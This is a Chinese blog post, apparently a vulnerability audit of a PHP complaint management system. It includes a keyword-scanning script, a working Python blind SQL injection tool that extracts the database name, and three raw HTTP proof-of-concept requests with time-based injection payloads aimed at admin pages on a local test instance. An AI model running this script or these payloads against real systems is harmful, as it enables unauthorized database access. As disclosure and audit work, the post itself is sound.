自动化工具实现对投诉管理系统审计

前言

审计的比较早了,目前还没有人对这个小众的CMS做过审计,正好最近在写工具,工具的一小块儿用来实现这种小众CMS的注入挖掘还是蛮简单的。

介绍

Complaint_ management_system(投诉管理系统)是一款使用PHP语言开发的一ID生成器管理系统,是一款基于代码生成器的低代码开发平台!基于apahhe、php和mysql运行,既能快速提高效率,节省研发成本,同时又不失灵活性!

环境

Apache 2.4
mysql5.7

下载源码后,导入数据库

自动化工具实现对投诉管理系统审计

启动业务

自动化工具实现对投诉管理系统审计

审计

启动KeySearchScan扫描代码文件中可能存在的漏洞点,代码分析以及追踪需要自己判断

# -*- coding: utf-8 -*-
import os
import fileinput
import re
def search_files_content(path):
    keywords = {
        'select': 'SQL注入漏洞',
        'upload': '文件上传漏洞',
        'exec': '命令执行'
    }
    result_dict = {vul_type: [] for vul_type in set(keywords.values())}
    for root, dirs, files in os.walk(path):
        for file in files:
            if file.endswith('.php'): # 判断是否为php文件
                filepath = os.path.join(root, file)
                with fileinput.input(filepath, inplace=False) as f:
                    lineno = 0
                    for line in f:
                        lineno += 1
                        for keyword, vul_type in keywords.items():
                            if re.search(keyword, line):
                                output_str = f"{filepath}:{lineno} {line}"
                                result_dict[vul_type].append(output_str)
    
    # 将结果写入文件
    with open('1.txt', 'w') as f:
        for vul_type, result in result_dict.items():
            if len(result) > 0:
                f.write(f'{vul_type}\n')
                f.write('\n'.join(result))
                f.write('\n\n')
if __name__ == '__main__':
    path = input("请输入要搜索的路径:")
    search_files_content(path)

输出结果在1.txt中保存

自动化工具实现对投诉管理系统审计

依据检索结果对代码进行简单分析,这里以SQL注入为例,自动化脚本实现对漏洞追踪,下面脚本使用静态环境即可,根据sql语句自动化爆库脚本

这里拿简单的GET方式生成利用脚本。

# -*- coding: utf-8 -*-

import requests

url = input('请输入注入页面URL:')
cookie_str = input('请输入Cookie信息:')
cookies = {i.split('=')[0].strip(): i.split('=')[1].strip() for i in cookie_str.split(';')}

method = input('请输入请求方式(GET/POST):').upper()

if method == 'GET':
    db_name_len = 0  # 数据库名称长度
    while True:
        payload = f"1' and length(database())={db_name_len}#"

        headers = {
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3',
            'Cookie': cookie_str,
            'Referer': url + payload,
            'Content-Length': '0',
        }
        response = requests.get(url + payload, headers=headers)

        if 'Welcome' in response.text:  # 判断SQL注入是否成功
            break
        else:
            db_name_len += 1

    print(f'[+] Database name length is {db_name_len}')

    db_name = ''  # 数据库名称
    for i in range(1, db_name_len + 1):
        for j in range(32, 128):  # 所有可见字符
            payload = f"1' and ascii(substr(database(), {i}, 1))={j}#"

            headers = {
                'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3',
                'Cookie': cookie_str,
                'Referer': url + payload,
                'Content-Length': '0',
            }
            response = requests.get(url + payload, headers=headers)

            if 'Welcome' in response.text:  # 判断SQL注入是否成功
                db_name += chr(j)
                break

    print(f'[+] Database name is {db_name}')
        
elif method == 'POST':
    data_str = input('请输入POST请求参数:')
    data = {i.split('=')[0].strip(): i.split('=')[1].strip() for i in data_str.split('&')}
    
    db_name_len = 0  # 数据库名称长度
    while True:
        payload = f"' and length(database())={db_name_len}-- "

        headers = {
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3',
            'Cookie': cookie_str,
        }
        response = requests.post(url, headers=headers, data={**data, 'id': payload})

        if 'Welcome' in response.text:  # 判断SQL注入是否成功
            break
        else:
            db_name_len += 1

    print(f'[+] Database name length is {db_name_len}')

    db_name = ''  # 数据库名称
    for i in range(1, db_name_len + 1):
        for j in range(32, 128):  # 所有可见字符
            payload = f"' and ascii(substr(database(), {i}, 1))={j}-- "

            headers = {
                'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3',
                'Cookie': cookie_str,
            }
            response = requests.post(url, headers=headers, data={**data, 'id': payload})

            if 'Welcome' in response.text:  # 判断SQL注入是否成功
                db_name += chr(j)
                break

    print(f'[+] Database name is {db_name}')   
else:
    print('错误的请求方式,请输入GET或POST')  

因为这里的漏洞需要增加认证,所以对于利用来讲需要输入自己的cookie,输出效果展示

自动化工具实现对投诉管理系统审计

这里当前数据库的输出比较慢,因为需要暴库。目前KeySearchScan的全部功能还未实现,代码中的分析逻辑还有问题,利用工具根据扫描结果输出自动化利用脚本的功能目前仅能实现SQL注入。项目完成后会公开。利用工具找到的注入点如下:

SQL注入1
POST /admin/complaint-search.php HTTP/1.1
Host: 127.0.0.1:10010
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 58
Origin: http://127.0.0.1:10010
Connection: close
Referer: http://127.0.0.1:10010/admin/complaint-search.php
Cookie: PHPSESSID=38ap7u1kptsj74vsbr61na5l26
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

search=1' and if(length(database())=3,sleep(3),0)#&submit=

漏洞代码位置

.\cms\admin\complaint-search.php 117行

自动化工具实现对投诉管理系统审计

POST请求上传参数,前端传入search参数在117行的未经过过滤以及处理直接拼接进查询语句中造成了SQL注入的产生。

SQL注入2
POST /admin/subcategory.php HTTP/1.1
Host: 127.0.0.1:10010
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 96
Origin: http://127.0.0.1:10010
Connection: close
Referer: http://127.0.0.1:10010/admin/subcategory.php
Cookie: PHPSESSID=38ap7u1kptsj74vsbr61na5l26
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

category=1'and(select*from(select+sleep(2))a/**/union/**/select+1)='&subcategory=xcxcx&submit=

漏洞代码位置

.\cms\admin\subcategory.php 18行

自动化工具实现对投诉管理系统审计
SQL注入3
POST /admin/between-date-userreport.php HTTP/1.1
Host: 127.0.0.1:10010
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 103
Origin: http://127.0.0.1:10010
Connection: close
Referer: http://127.0.0.1:10010/admin/between-date-userreport.php
Cookie: PHPSESSID=aiknjjejlo9rb3b06718gtbk75
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

fromdate=2024-02-02'and(select*from(select+sleep(3))a/**/union/**/select+1)='&todate=2024-02-03&submit= 

漏洞分析

.\cms\admin\between-date-complaintreport.php 119行

自动化工具实现对投诉管理系统审计

POST请求上传参数,前端传入参数fromdate在119行的未经过过滤以及处理直接拼接进查询语句中造成了SQL注入的产生。

类似的注入点儿还存在很多

总结

KeySearchScan重在处理好方法以及类调用的逻辑关系处理,从一定程度上讲是类似于静态代码审计脚本和漏洞扫描的集合体,目前多线程处理以及部门模块未完成,期待和大伙见面。

原文始发于火线():自动化工具实现对投诉管理系统审计

版权声明:admin 发表于 2024年4月1日 下午2:21。
转载请注明:自动化工具实现对投诉管理系统审计 | CTF导航

相关文章